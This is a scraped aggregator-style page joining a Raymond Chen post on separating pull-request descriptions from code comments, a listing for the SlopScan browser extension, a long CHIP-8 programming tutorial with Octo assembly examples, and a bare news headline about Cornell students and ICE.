The description of the PR talks about the source of the problem and how you fixed and validated it. This is point-in-time information where you justify to your reviewer why the change is needed and why your particular implementation of the change is correct. Discuss alternative designs and why they were rejected (e.g. because they were too risky). Show before-and-after screen shots showing that the problem is fixed. Confirm that associated paperwork has been completed, like unit tests. There might be standard paperwork for this, such as a “checkin template”. (It is often the case that the closer a project comes to release, the more stringent the paperwork. For example, late in the product cycle, you may need to demonstrate that the release management team has deemed that the bug meets the bug bar .)

In other words, the PR description is a point in time statement, providing information that is relevant to the code review itself. It is an exercise in persuasive writing: You are trying to convince the approver that your change should be accepted.

Comments in the code are for talking about the code itself. What is the correct way to call this function? Does it have specific prerequisites? This information is durable : It is information that remains useful even after the pull request completes.

Okay, so let’s do an exercise: I’m going to provide some text, and you tell me where it goes. These are all actual comments (suitably redacted) from PRs I have reviewed.

I have checked all calls to the function, and this was the only one that passed the wrong flag.

This goes into the pull request description. It is justifying why your change is correct, and in particular, it’s answering a question that a reviewer is likely to ask: “It’s great that you’re fixing this one caller of the function, but are there other callers that make the same mistake?” Putting this comment in the code itself would be wrong because the claim is valid only at the time the pull request is made. After the pull request, somebody might add a new call to the function that passes the wrong flag, and it is not true that you validated that new caller.

The JSON schema accepted by this function is documented 〈here〉.

This goes into the code. It is explaining how to use the function correctly. This information is important not just at the time you submit the pull request but also for an indefinite period of time in the future. (At least, until you change the function or the schema.)

The Doodad component will take advantage of polarity reversal.

This goes into the pull request description. It is justifying why you need to implement polarity reversal today. If you put this in the code, the future tense suggests that we are still waiting for Doodad . And future changes to the Doodad might cause them to stop relying on polarity reversal; when they do that, they are unlikely to come and update this comment in somebody else’s component. The comment also suggests that if you confirm with the Doodad team that they don’t need polarity reversal any more, it is safe to remove support for polarity reversal, which might not be the case if other components started using the feature as well.

Still, knowing that Doodad is the intended audience for the feature is worth noting for posterity.

// Polarity reversal was initially added for the benefit of
// the Doodad component.

Bonus chatter : Another thing to consider when making code comments is that the code comment needs to make sense even without the PR description. Suppose you are writing a function with the intention of deprecating an older function that it is replacing. Don’t add this comment to the new function:

// When all clients have migrated to the new function, keep this.

This makes no sense to someone who is seeing the comment without having also seen (and remembered) the PR that introduced it. It sounds like the comment is saying, “When X happens, take no action.”

What you should do is put a comment on the old function:

// When all clients have migrated to the new function, delete this function.
 

Category

Topics

Author

Raymond Chen

Raymond has been involved in the evolution of Windows for more than 30 years. In 2003, he began a Web site known as The Old New Thing which has grown in popularity far beyond his wildest imagination, a development which still gives him the heebie-jeebies. The Web site spawned a book, coincidentally also titled The Old New Thing (Addison Wesley 2007). He occasionally appears on the Windows Dev Docs Twitter account to tell stories which convey no useful information.

SlopScan: Displays a "slop score" when viewing public git repositories

Lobsters
addons.mozilla.org
2026-08-14 05:43:51
Uses https://slopscan.ava.pet internally (previously discussed at: https://lobste.rs/s/7s8fwa/repo_slopscore_detecting_ai_llm) Comments...
Original Article

This is a WebExtension for repo-slopscore which displays the "slop score" letter grade next to the repository name when viewing web-based git forges.

It requires a repo-slopscore web server, which defaults to the public instance at https://slopscan.ava.pet and is configurable in the extension preferences.

The extension currently supports displaying scores on:
- https://github.com
- https://codeberg.org
- https://git.sr.ht

Clicking the extension button on any page will attempt to scan the current URL.

Required permissions:

  • Access browser tabs
  • Access your data for github.com
  • Access your data for codeberg.org
  • Access your data for git.sr.ht

Required data collection, according to the developer:

  • Website activity

The Art of CHIP-8

Lobsters
beyondloom.com
2026-08-14 05:10:45
Comments...
Original Article

The Art of CHIP-8

CHIP-8 is a programming language originally developed for the 1977 COSMAC VIP kit computer. CHIP-8 programs are composed of a series of two-byte instructions resembling machine-code for a simple virtual instruction-set architecture, so CHIP-8 interpreters are often also referred to as “emulators”. Indeed, writing a CHIP-8 interpreter is an excellent way to learn the principles underlying emulators for antique computers and game consoles, and as a result there are a dizzying array of thousands of CHIP-8 runtimes available for almost every conceivable platform.

For historical platforms to live , rather than simply be preserved , we must write new software for them. The profusion of CHIP-8 implementations comes in turn with a great deal of confusion , as a half-century-long game of telephone has produced a wide variety of diverging behaviors in interpreters. Over the course of developing Octo , my high-level CHIP-8 assembler, I helped popularize and standardize a variety of “quirks flags” which capture common divergences between extant CHIP-8 flavors, and investigated many dark, unspecified corners of influential interpreters. There are now mature test suites available for CHIP-8 interpreters and their variants, so there’s no excuse for modern interpreters to get the details wrong. Still, the reality of CHIP-8 in the wild is fragmented: many interpreters for obscure platforms are written by beginners unaware of any broader hobbyist community and abandoned as soon as they (appear to) correctly run PONG.CH8 .

In this article I will examine CHIP-8 as an instruction set and its practical implications for writing new programs, distilling a number of scattered tutorials, examples, and FAQs I’ve written in the past. I will specifically point out approaches which are portable across all but the buggiest and least complete existing CHIP-8 interpreters. Example code will use Octo’s notation; this document is not intended as a complete reference manual for Octo assembly language, but I will endeavor to explain new ideas as we encounter them.

Index

System Overview

CHIP-8 operates in a 12-bit address space. The original CHIP-8 interpreter resided in the first 512 bytes of this space, with programs starting at address 0x200 . It also reserved some of the upper region of the address space for a stack, a framebuffer, and several scratchpads. As a result, we are left with a maximum of 3232 bytes for our code and data. Modern CHIP-8 interpreters are often more generous, leaving up to 3584 bytes for user programs, and they will often use the low 512 bytes of memory to store their hex font(s) or nothing at all, leaving it available for programs to manipulate.

Your code and data should fit within 3232 bytes for maximum portability.

We have a file of 16 general-purpose 8-bit registers named v0 - vf , giving the platform a pleasantly RISC-ey feel. The 12-bit 1 “index register” i is used for all operations which reference or manipulate memory. There is an internal stack for threading subroutine return addresses, but it is opaque : the instruction set does not allow programs to freely push or pop temporary values or inspect the contents of the stack.

Programs take input from a hexadecimal keypad. For output, we have a 64x32 pixel 1-bit bitmapped display and a simple piezo buzzer for making noise. We are also afforded a non-interrupting delay timer and a random number generator.

There are 34 elementary CHIP-8 instructions. In the descriptions below, vx and vy are any v-register, and NNN , NN , and N represent an immediate 12-bit, 8-bit, or 4-bit value, respectively:

Machine Code Octo Syntax Notes
00E0 clear Clear the display.
00EE ; or return Exit a subroutine.
1NNN jump NNN
2NNN NNN or :call NNN Call a subroutine.
3XNN if vx != NN then Conditional skip.
4XNN if vx == NN then Conditional skip.
5XY0 if vx != vy then Conditional skip.
6XNN vx := NN
7XNN vx += NN
8XY0 vx := vy
8XY1 vx |= vy Bitwise OR .
8XY2 vx &= vy Bitwise AND .
8XY3 vx ^= vy Bitwise XOR .
8XY4 vx += vy vf gets 1 on carry, otherwise 0.
8XY5 vx -= vy vf gets 0 on borrow, otherwise 1.
8XY6 vx >>= vy vf gets old least significant bit.
8XY7 vx =- vy vf gets 0 on borrow, otherwise 1.
8XYE vx <<= vy vf gets old most significant bit.
9XY0 if vx == vy then Conditional skip.
ANNN i := NNN
BNNN jump0 NNN Jump to address NNN + v0 .
CXNN vx := random NN Random byte bitwise AND ed with NN .
DXYN sprite vx vy N Draw on display; vf gets 1 on collision, otherwise 0.
EX9E if vx -key then Is a key not pressed?
EXA1 if vx key then Is a key pressed?
FX07 vx := delay
FX0A vx := key Wait for a keypress.
FX15 delay := vx
FX18 buzzer := vx
FX1E i += vx
FX29 i := hex vx Set i to a hex character sprite.
FX33 bcd vx Decode vx into binary-coded decimal.
FX55 save vx Save v0 - vx to memory address i through i +x.
FX65 load vx Load v0 - vx from memory address i through i +x.

Observe that all instructions are two bytes wide, and component fields are nybble-aligned: these characteristics facilitate hand-assembling programs with a pen and paper and also help simplify writing some forms of self-modifying code. The following sections will discuss these instructions in more detail, grouped by their functional purpose.

Arithmetic Instructions

Two arithmetic instructions take immediate arguments:

Machine Code Octo Syntax
6XNN vx := NN
7XNN vx += NN

The remainder manipulate two registers, with vx storing the result.

Machine Code Octo Syntax
8XY0 vx := vy
8XY1 vx |= vy
8XY2 vx &= vy
8XY3 vx ^= vy
8XY4 vx += vy
8XY5 vx -= vy
8XY6 vx >>= vy
8XY7 vx =- vy
8XYE vx <<= vy

Octo uses syntax similar to C-family languages for these operations, with a Pascal-style := assignment operator for symmetry. The ^= =- <<= and >>= instructions were present in the original CHIP-8 interpreter, but not documented; they arose as a natural consequence of the RCA-1802 instruction encoding. The =- instruction is like -= except it subtracts vx from vy instead of vy from vx ; as always the result is stored in vx .

The shift instructions are intended to set vx to vy shifted left or right by 1 place, storing the shifted-out bit in vf . Many modern interpreters incorrectly implement these instructions as ignoring vy and shifting vx in-place.

Only use shift instructions of the form vx <<= vx and vx >>= vx . Using the same register for both arguments will produce consistent behavior with or without the "shift quirks".

In some interpreters, the bitwise operations |= , &= , and ^= modify vf as a side effect. This problem is less well-known than the “shift quirks”, and can be quite a surprise when trying to run programs on an emulated COSMAC VIP.

Assume the bitwise instructions vx |= vy , vx &= vy , and vx ^= vy destroy the contents of vf .

If you need to do a bitwise NOT , you can use XOR with an appropriate constant in a register. The vf register is an ideal choice if you only need that constant once:

vf := 0xFF
v0 ^= vf   # invert the bits in v0

Many interpreters are inconsistent as to whether they write a carry-flag result before or after the main result of an arithmetic instruction, leading to ambiguity if the destination register ( vx ) is vf .

Never use the vf register as the destination of arithmetic instructions except vf := NN , vf += NN , or vf := vx .

If you ever need a “no-op” instruction, the best options are instructions of the form vx := vx , such as v0 := v0 . Instructions of the form vx += 0 work, too; this leads to an important potential “gotcha”. Say you’re trying to increment a 16-bit counter:

v0 += 1   # increment low byte
v1 += vf  # carry into the high byte

The behavior of that snippet is undefined , because adding an immediate value to a v-register does not alter the carry flag vf . The fact that the original version may appear to work, sometimes- depending on whatever happened to already be in vf - is all the more infuriating. You meant to do this instead:

vf := 1   # put 1 in a temporary register
v0 += vf  # increment low byte with our constant 1
v1 += vf  # carry into the high byte

Octo lets you use negative numbers for literals, which are interpreted as their two’s complement equivalents. Whether you use this feature or not, remember that vx += NN can be used both for incrementing and (via overflow) decrementing v-registers:

v0 +=  -1
v0 += 255

Taking the bitwise OR of N with N+1 will have the effect of setting the least significant (or rightmost) zero bit in the byte:

vf := v0
v0 += 1
v0 |= vf

Similarly, the bitwise AND of N with N-1 will clear the least significant (or rightmost) one bit in the byte:

vf := v0
v0 += -1
v0 &= vf

If a (nonzero) number becomes zero after performing this operation you know it had exactly one bit set and was thus a power of two.

Memory

Now we’re ready to discuss manipulating the index register i and using it to access memory:

Machine Code Octo Syntax
ANNN i := NNN
FX1E i += vx
FX29 i := hex vx
FX33 bcd vx
FX55 save vx
FX65 load vx

The first thing you’re likely to notice about these instructions is that our ability to modify the i register is constrained: we can set it, and we can advance it with i += vx , but we cannot decrement it, and there’s no provision for reading it out and stashing it for later.

The save and load instructions are also a bit unusual: they write or read a range of bytes from memory, starting at i . Let’s say we want to stash the contents of v0 through v3 to a reserved buffer of 4 bytes. Octo lets us define a label with : which we can then refer to when setting i :

i := buffer  # initialize the index register
save v3      # write out the bottom four registers

# ...

: buffer 0 0 0 0

A save vf or load vf will stash or restore 16 registers in two instructions; very handy! This is especially useful at program startup. Most CHIP-8 interpreters will zero the v-registers before your program executes, but this behavior is not universal.

Initializing four registers directly with vx := NN takes four instructions, and eight bytes:

v0 := 11
v1 := 22
v2 := 33
v3 := 44

Initializing four registers with a load also takes eight bytes, but only two instructions. Any more than four registers will save both program space and execution time:

i := startup
load v3

# ...

: startup 11 22 33 44

Don't assume the v-registers contain 0 when your program starts: initialize them explicitly.

Note that any load or save involves the v0 register. You’ll need this register available for temporary use throughout your program. Similarly, the vf register is mangled or altered by most of the arithmetic instructions and the sprite instruction- you can’t use it for long-term storage even if you wanted to. Since load s and save s always work on the low registers, you should organize your register usage from least to most persistent: v0 , v1 , v2 … should contain information that is relevant only to a local subroutine, while ve , vd , vc … can contain information that tends to remain useful for the whole lifetime of a program. Be sure to use Octo’s :alias directive to give registers meaningful names, and thus give yourself flexibility for rearranging them while developing longer programs.

In practice, I recommend trying to keep at least v0 and v1 “free” for use in leaf subroutines along with vf ; being able to write a pair of bytes in one go is necessary for a variety of self-modifying code tricks we’ll touch on later.

Slinging up to 16 bytes around is handy for doing fast array copies or fills. Unfortunately, if we want our programs to be portable we need to remain aware of another common bug in interpreters: the original CHIP-8 interpreter would automatically increment i after a load or save by the number of bytes read or written. The “SCHIP” interpreter for the HP-48 calculator- and many modern imitators- leaves i intact. The following fragment will zero 32 bytes starting from temp on vintage CHIP-8:

i := blank
load v7
save v7
save v7
save v7
save v7

# ...

: blank  0 0 0 0 0 0 0 0
: temp

But it won’t zero any bytes of the temp buffer on an interpreter with this misbehavior, because i never changes! A whole class of fun tricks is possible with either the original or the SCHIP behavior, but if we don’t know what we’ll get, we have to be conservative:

Never re-use the position of i after a load or save operation.

Supposing you have an array:

: data  1 1 2 3 5 8 11

Reading an element from the array by an index in v1 is straightforward. This approach can address up to 256 bytes:

i := data    # set i to the base address
i += v1      # add an offset (in this case, the value in v1)
load v0      # load data[v1] into v0

If entries in the array are two bytes wide, we could add our offset to i twice; this approach can address up to 512 bytes:

i := data    # set i to the base address
i += v1      # i is data+v1
i += v1      # i is data+2*v1
load v1      # v0 is data[2*v1], v1 is data[(2*v1)+1]

If we need to perform indirect addressing- looking up a pointer in a table and then indexing into it- we’ll need to write self-modifying code. Given a table of i := NNN instructions which represent our “pointers”, we can load an instruction into v0 / v1 and then write it back to a different location, replacing a no-op instruction:

 i := pointers     # (assume the table index is in v0)
 i += v0           # table entries are 2 bytes,
 i += v0           # so add the index twice
 load v1           # load the pointer into v0-v1
 i := get-pointer  # choose the destination
 save v1           # overwrite the old instruction
: get-pointer
 v0 := v0          # no-op which becomes an i := NNN

# ...

: pointers
 i := 0xAAA
 i := 0xBBB
 i := 0xCCC
 i := 0xDDD
 i := 0xEEE

This technique is especially efficient if the instruction we’re overwriting is within a loop. The initial fetch-and-overwrite process takes 6 instructions, but on subsequent fetches it’s only necessary to execute the single i := NNN instruction.

If we happen to have a 12-bit address already in the v0 and v1 registers, we can skip a few steps and construct the i := NNN instruction on the fly:

 vf := 0xA0        # constant
 v0 |= vf          # now v0-v1 contain our instruction
 i := get-pointer  # choose the destination
 save v1           # overwrite the old instruction
: get-pointer 0 0

The i := hex vx instruction is a specialized built-in array lookup: it points the index register i at a 5-pixel-tall, 4-pixel wide sprite representing the lower hexadecimal digit of the contents of vx . The original CHIP-8 interpreter referenced a cleverly overlapped series of digits in the COSMAC VIP ROM, while modern interpreters tend to stash a font at 0x000 and set i to vx * 5 . Beware: different interpreters use different fonts, and they don’t all perform careful bounds-checking.

Do not depend on the appearance of the built-in hex font, and do not execute i := hex vx with a value greater than 15 in vx .

The only other instruction which writes to memory is bcd vx . This is also a bit odd and specialized. If you point i at a three-byte buffer, bcd vx will decode the value in vx into digits- hundreds, then tens, then ones- in the cells of the buffer. Thankfully, there’s no indexing ambiguity for this instruction: it always leaves i unchanged. Many early CHIP-8 games used this instruction for implementing score displays:

va := 10            # horizontal position for the score counter
vb := 10            # vertical position for the score counter

i := decode-buffer  # point to a temporary buffer
bcd v0              # decode a numeric value in v0
load v2             # v0 is hundreds (0-2), v1 is tens (0-9), v2 is ones (0-9)

i := hex v0         # sprite for hundreds
sprite va vb 5      # draw a 5-pixel tall sprite
va += 5             # advance 5 pixels horizontally, leaving a space between digits

i := hex v1         # sprite for tens
sprite va vb 5      # draw a 5-pixel tall sprite
va += 5             # advance 5 pixels horizontally, leaving a space between digits

i := hex v2         # sprite for ones
sprite va vb 5      # draw a 5-pixel tall sprite

: decode-buffer 0 0 0

Octo’s :macro facilities can help tidy up repetitive code like displaying each of these digits:

:macro digit REG {
 i := hex REG
 sprite va vb 5
}
digit v0 # hundreds
va += 5
digit v1 # tens
va += 5
digit v2 # ones

It is possible to leverage bcd vx as a way of dividing numbers by 10- or taking them modulo 10- but having to go through memory and modify i makes this awkward. When you need to display a number greater than 255, it is often best to store two digits in a byte (0–99) and only use the two low bytes of a bcd vx result. Alternatively, store each digit of the number in its own byte to begin with and thus entirely remove the need for the bcd vx instruction!

Subroutines

Machine Code Octo Syntax
00EE ; or return
2NNN NNN or :call NNN

Like Forth, Octo gives the lightest possible syntax to subroutines and subroutine calls. A colon ( : ) defines a label. Referencing a label name is a call to that label. A semicolon ( ; ) returns from a subroutine 2 .

: washer  wash spin rinse spin ;

It’s slightly more efficient to replace function calls which are immediately followed by a return with a jump instead:

: washer  wash spin rinse jump spin

That’s Octo-style Tail Call Elimination !

The original CHIP-8 interpreter has a 12-level return stack, but most modern interpreters raise the limit to 16. Some crash if you over-nest, some nest indefinitely, and some quietly wrap and overwrite the oldest stack entries. In practice, well-formed programs will rarely even need 12 nested function calls, as recursion is impractical unless you furnish your own auxiliary parameter stack.

Don't write programs which make more than 12 nested subroutine calls.

One little trip-hazard to be aware of with Octo’s subroutine call syntax: Octo does not distinguish between labels and constants . If you define a constant and then use the name on its own, it will be assembled as a function call:

:const foo 0xAB
foo  # 0x20 0xAB

If you want to assemble the value of a constant , use :byte :

:const foo 0xAB
:byte foo  # 0xAB

If you want the name foo to assemble as a literal byte, you could also declare a :macro instead of a constant:

:macro foo { 0xAB }
foo  # 0xAB

Control Flow

Machine Code Octo Syntax
1NNN jump NNN
3XNN if vx != NN then
4XNN if vx == NN then
5XY0 if vx != vy then
9XY0 if vx == vy then
BNNN jump0 NNN

Conditional instructions in CHIP-8 are mostly conditional skips. Note that Octo’s syntax “inverts” the way conditions are shown relative to some other descriptions of these opcodes you may find online. The 3XNN opcode skips the next instruction if vx is equal to the literal NN . Octo writes the same instruction as performing the next instruction if vx is not equal to NN .

Octo also furnishes “pseudo-op” conditionals; you can use < , > , <= , or >= in conditional expressions like so:

if v0 > v1 then

And they will be expanded into logically equivalent constructions:

vf := v1
vf -= v0
if vf == 0x00 then

As we’ve noted previously, this type of construction can pose portability problems for buggy interpreters, because it uses arithmetic operators with vf as the destination register. It is also important to keep in mind that these comparisons are unsigned . While Octo will happily allow users to store immediate values like -1 in a v-register as its two’s-complement representation ( 0xFF ), two’s-complement is merely a state of mind . 0xFE is greater than 0x03 , even if you intend for those values to mean -2 and 3, respectively. If you want to compare values that could be “negative”, consider storing them with an added bias. Use the pseudo-op conditionals with caution, if at all.

jump NNN is straightforward enough. Octo encourages using structured programming, so we’ll generally write backward jumps as a loop ... again infinite loop. Inside such a loop you can have any number of while clauses which, if unsatisfied, branch forward to the end of the loop. You can also use an ordinary conditional to skip over the again at the end. Summarized,

Octo syntax C syntax
loop ... again do{...}while(1);
loop ... if a == 0 then again do{...}while(a==0);
while a != 0 if(a==0)break;

If we want to repeat a loop body 4 times, we write something like:

v0 := 0
loop
 body
 v0 += 1
 if v0 != 4 then
again

Which we could also write explicitly with a label:

v0 := 0
: A
 body
 v0 += 1
 if v0 != 4 then jump A

Keep in mind that repeated logic doesn’t necessarily mean we need a loop. If the loop body is factored as a subroutine, you can call it four times in sequence and avoid any conditionals or the need for an index variable:

body
body
body
body

This still spends an instruction for each subroutine call and return. If performance is paramount, directly inlining the instructions in this subroutine four times will be faster, at the cost of more program space.

Octo can synthesize nestable if ... begin ... (else ...) end conditionals from conditional skips and forward branches:

if v0 == v1 begin
 va := 12
 vb := 34
else
 va := 56
 vb := 78
end

Desugaring as:

if v0 != v1 then
 jump A
 va := 12
 vb := 34
 jump B
: A
 va := 56
 vb := 78
: B

This is very useful for writing programs that are easy to understand and modify, but over-reliance on these constructs can be inefficient. Consider this alternative which saves two bytes:

va := 56
vb := 78
if v0 != v1 then va := 12
if v0 != v1 then vb := 34

Redundant conditionals can be cheap!

It’s worth mentioning that Octo will automatically insert a jump instruction at address 0x200 to the main label if : main isn’t at the beginning of your program. This makes it more convenient to structure your program in a top-to-bottom reading order, but might be a surprise if you’re desperate for those last two bytes!

Rounding out our control flow rogues' gallery, the jump0 instruction performs a jump to address NNN + v0 . The intended use is building jump-tables, dispatching to a variety of code fragments or subroutines based on an index:

 v0 := va # take an index from va
 v0 += v0 # entries are two bytes wide, so double the index
 jump0 table
: table
 jump func1
 jump func2
 jump func3

(Can you see a way to make this an instruction shorter if you used a non-portable vx <<= vy ?)

There are some limitations to this approach. While we can repeatedly add v-registers to i to index large regions of memory, jump0 takes its offset from the 8-bit v0 , so it can only address a total range of 255 bytes past the fixed label. Those bytes must be jump targets- valid instructions, which are always two bytes wide- so a table can only have a maximum of 128 uniform-stride entries if they’re jump instructions, or 64 entries if they’re pairs of instructions like i := NNN return .

As an extra inconvenience, the SCHIP interpreter has a buggy implementation of jump0 which bizarrely uses the 4 high bits of the destination address to select the offset register instead of always using v0 , making it essentially unusable. The jump0 instruction was very rare in historical ROMs, which might explain why it was not thoroughly tested in some early interpreters, and why some of the first CHIP-8 variants removed jump0 to make room for different instructions with a 12-bit immediate operand.

Avoid the jump0 instruction for maximum portability.

At the cost of a few extra instructions, we can use the same idiom we saw for pointer indirection to replace jump0 :

 i := table
 i += va          # take an index from va
 i += va          # entries are two bytes wide, so double the index
 load v1          # read the jump into v0/v1
 i := trampoline
 save v1          # overwrite the placeholder instruction
: trampoline
 v0 := v0         # no-op to overwrite
: table
 jump func1
 jump func2
 jump func3

Much like pointer indirection, we could use this technique to rewrite a jump or subroutine call in a loop, amortizing the cost of the self-modification. In the right situation, this technique can be faster and much more flexible than a jump0 .

Input

Machine Code Octo Syntax
EX9E if vx -key then
EXA1 if vx key then
FX0A vx := key

The CHIP-8 hexadecimal keypad has the following 4x4 layout:

1 2 3 C
4 5 6 D
7 8 9 E
A 0 B F

There are two ways to get keyboard input: the vx := key instruction, which blocks until the user presses a key (and produces a somewhat jarring “beep” for each key read on the COSMAC VIP and some other interpreters), and a pair of conditional skip instructions which test whether a specific key is held down ( key ) or not held down ( -key ).

The former prevents any sort of animation or other game logic while it waits.

# wait for the user to press 'any key', blocking

v0 := key

The latter are more complex to use, but essential for any kind of action game.

# wait for the user to pess 'any key', polling

loop
 # ... insert some idle animation here

 vf := 0
 loop
  if vf key then jump done
  vf += 1
  if vf != 16 then
 again
again
: done

The conditional skip instructions need the index of the key they’re testing to already be in a v-register. In a tight game loop, if you can afford it, it’s best to keep those constants resident in some of the upper v-registers so you don’t have to constantly re-initialize them. Otherwise, if you’re testing multiple keys in sequence, you might be able to load a bank of key-constants in one go.

# a flickery but highly responsive moveable object

: main
 i := constants
 load v6
 i := hex v6
 loop
  clear
  sprite v0 v1 5
  if v2 key then v0 += -1
  if v3 key then v0 +=  1
  if v4 key then v1 += -1
  if v5 key then v1 +=  1
 again

: constants
 30 # initial x position
 15 # initial y position
 :byte OCTO_KEY_A
 :byte OCTO_KEY_D
 :byte OCTO_KEY_W
 :byte OCTO_KEY_S
 0

Remember: you don’t have to use every key on the keypad! Simpler control schemes are easier for users to learn, and many CHIP-8 interpreters run on devices that have fewer than 16 gamepad keys.

Consider minimizing the number of distinct keys you use to control your programs.

If you’re polling keypad keys and waiting for a single keypress, it may be useful to frame it as waiting for the rising edge of a keypress:

vf := OCTO_KEY_E
loop if vf  key then again   # make sure the key isn't already pressed
loop if vf -key then again   # wait for a press,
loop if vf  key then again   # wait for the release

You can add animation between the loops in this pattern to make your program feel more responsive to user input, but take care adding extra instructions to the polling loops: if they’re doing too much work, they can potentially miss very short key presses.

Random Numbers

Machine Code Octo Syntax
CXNN vx := random NN

The vx := random NN instruction loads a random byte bitwise AND -ed with the mask NN into a v-register. Writing the mask constant in binary can help clarify your intent. A few examples:

Constant Possible values
0b00000001 0, 1
0b00000011 0, 1, 2, 3
0b00000110 0, 2, 4, 6
0b00001010 0, 2, 8, 10
0b00001000 0, 8
0b10000001 0, 1, 128, 129
0b00001111 0–15
0b01111111 0–127

Sometimes there’s confusion around this instruction with implementers assuming it will generate a number between 0 and NN . Thankfully, I have not seen this misbehavior in any mainstream CHIP-8 interpreters (yet). If you wanted to be extra-safe you could strictly use 0xFF as the mask constant for this instruction- which would behave the same for either interpretation- and then perform an explicit bitwise AND with vx &= vy as needed.

Generating random numbers in some ranges with no relationship to powers of two can be tricky. The simplest approach might be to generate a number in a larger range, and retry several times if you get an invalid result:

: random-upto-9
 v1 := 9
 loop
  v0 := random 0xF   # 0-15 is the closest option to 0-9
  if v0 > v1 then
 again
;

For a non-uniform distribution, consider using the vx := random NN instruction to produce indices into a lookup table.

Output

Machine Code Octo Syntax
00E0 clear
DXYN sprite vx vy N
FX18 buzzer := vx

Generating sound in CHIP-8 is constrained to a simple on-or-off noisemaker. The buzzer := vx instruction tells the interpreter to make some kind of noise for vx 60ths of a second. Re-issuing the instruction resets the countdown timer, so if vx is zero you can also use this instruction to immediately silence the buzzer. The noise made by the buzzer is implementation-dependent and varies wildly in volume and auditory discomfort. Octo defaults to using a “visual buzzer”, flashing the border color of the screen instead of making an audible sound.

The sprite instruction is the essential building-block of all CHIP-8 graphics. Using vx and vy to indicate a horizontal and vertical position on the screen in pixels, respectively, and i to indicate the image to draw, this instruction will draw an 8 pixel wide and N pixel tall image by bitwise XOR ing successive bytes of the data pointed to by i with the pixels of the screen. If any pixels on the screen are “flipped” by this process- that is, if our image’s “on” pixels overlapped with any pixels presently on the screen- we set vf to a nonzero value. Otherwise, vf will be set to zero. This can be useful for detecting whether an object we’ve drawn collides with anything else on the screen. Drawing the same image in the same place a second time will fully erase it.

There are several subtle variations on the behavior of this instruction across interpreters. Firstly, it is a common assumption that vf will be set to 1 when a “collision” occurs during sprite drawing. The SCHIP interpreter- among others- set vf to the number of rows containing a collision. This behavior is potentially an intriguing enhancement, but was not documented, and modern interpreters generally do not attempt to replicate it.

Don't compare vf to 1 after a sprite instruction; test whether it is zero or non-zero.

The SCHIP interpreter also offered an intentional alteration of the sprite instruction, using a size constant N of 0 to request drawing a 16x16 sprite, while the original CHIP-8 interpreter treated it as drawing an 8x0 pixel sprite (drawing nothing). The SCHIP extension is commonplace, but not strictly a CHIP-8 feature.

Don't draw a sprite with a height of zero in vanilla CHIP-8 programs.

There’s also some variation in how interpreters handle sprite s overlapping the edges of the screen: some will only draw sprite s within the 64x32 pixel window and clip anything beyond it, some will draw sprite s so long as their starting x and y coordinates modulo 64 and 32 (respectively) fall within the 64x32 pixel window, and some will draw every pixel of every sprite modulo the dimensions of the display, “wrapping” graphics around instead of clipping them. (Octo defaults to the latter.) It can be a bit limiting for some kinds of programs, but for maximum portability it is best to avoid drawing over the edges of the screen.

Draw sprite s with x coordinates between 0 and 56, and y coordinates between 0 and 32-N.

On the COSMAC VIP, the sprite instruction also waited for a vertical-sync on the display. In effect, this means every additional sprite instruction in a main loop directly reduced the framerate of a program! Modern interpreters tend to run programs much faster than the original interpreter, and should be designed to use the delay timer (as described in the following section) to help account for variation in execution speed. There’s no simple rule to follow here for compatibility, but you should be aware that sprite may have a large intrinsic delay and each individual sprite drawing operation may be visible- if only for a fraction of a second- to the user.

This is part of why programs generally should not use the clear instruction to erase and then completely re-draw the display on every update: it leads to flickery, unpleasant-looking visuals. Static elements of a display- like the dotted “net” line in Pong- should be drawn once and left on the screen. Changing elements should be kept to a minimum, and should be erased and then re-drawn with sprite instructions. If the old and new version of a changing element fit within the same 8x15 (or smaller) rectangle, it is possible to design “pre- XOR ed” images which will erase the old image and draw the new image in a single step, avoiding any chance of a user seeing the “flicker” of the erased image before it is replaced. This is the key to buttery-smooth animation with CHIP-8! It is, however, incompatible with using the sprite collision flag in vf : we’ll always be toggling some pixels in an erase-and-redraw operation.

EZ-Pack is a utility designed to work alongside Octo for cutting up images into sprite -sized chunks. The “XOR Frames” checkbox will instruct it to pre- XOR successive frames in an animation sequence together to support this kind of use-case, and the more specialized EZ-Bake Animator can help with drawing these kinds of sequences procedurally. It’s not unusual for authoring sophisticated CHIP-8 programs to require writing new supporting tools.

Timing

Machine Code Octo Syntax
FX07 vx := delay
FX15 delay := vx

As we’ve mentioned previously, different CHIP-8 interpreters run at different speeds. Fortunately, we have a tool to help even things out: the delay timer. Write a value to the timer with delay := vx and it will asynchronously count down to zero at 60 ticks per second. The vx := delay instruction lets you poll the timer.

There are a number of ways this can be used for different types of programs, but there’s a common structure that applies to almost any action game: initialize the timer at the beginning of your main loop, execute the majority of your game’s per-frame logic, and then poll the timer until it returns 0:

loop
 vf := 2
 delay := vf

 # ... game logic goes here ...

  loop
  vf := delay
  if vf != 0 then
 again
again

If your program executes too slowly, the overhead of setting and checking the delay timer will only make the situation worse by a few instructions. If your program executes faster than you expect, the delay loop will burn off the extra cycles. 3 Initializing the timer to 1 will “expect” the main game loop to complete in less than 1/60th of a second, for a 60 frames per second target- maybe a bit ambitious for interpreters on older or more constrained hardware. Initializing it to 2 will “expect” it to take 2/60ths of a second, for 30 frames per second, and so on.

Very few historical CHIP-8 ROMs use the delay timer in this fashion, instead relying on the inherent slowness of the sprite instruction to regulate their framerate. As a result, they need special coddling by interpreters to stop them from running too fast. Use the delay timer and your programs will work consistently on the interpreters of yesterday and tomorrow.

Where To Go From Here

That’s CHIP-8. 34 instructions which can easily fit in your head. Some odd and interesting features like the load and save instructions that can manipulate slabs of registers at once, or the sprite drawing instruction that encourages thinking of all your graphics and collision tests as deltas against an opaque framebuffer. You’ve learned everything you need to know about the sharp corners the platform has acquired over the decades- instructions and practices to avoid, and ways around them. You’re ready.

CHIP-8 offers many of the puzzles and challenges available in any form of assembly language, but with a much smaller surface area and a much broader range of targets than even 8088 boot sectors . It’s an inviting gateway for learning about bits, bytes, shifts, and cycles, and developing a feel for “bare metal” programming. Every programming enthusiast, computing student, and budding compiler developer should give it a spin. You might be surprised just how much you can do with 64x32 pixels and 3232 bytes.

What are you waiting for? Why not go write some software ? If it runs on CHIP-8, it’s immortal.

Further Reading

  1. The Octo Reference Manual
  2. An Octo Implementation In C
  3. The CHIP-8 Archive ; modern games written for CHIP-8
  4. Tobias V. Langhoff’s Guide to making a CHIP-8 Emulator

back

Cornell to Pro-Palestine Students Targeted by ICE: Come Back to the U.S. or Lose Funding

Intercept
theintercept.com
2026-08-14 05:00:00
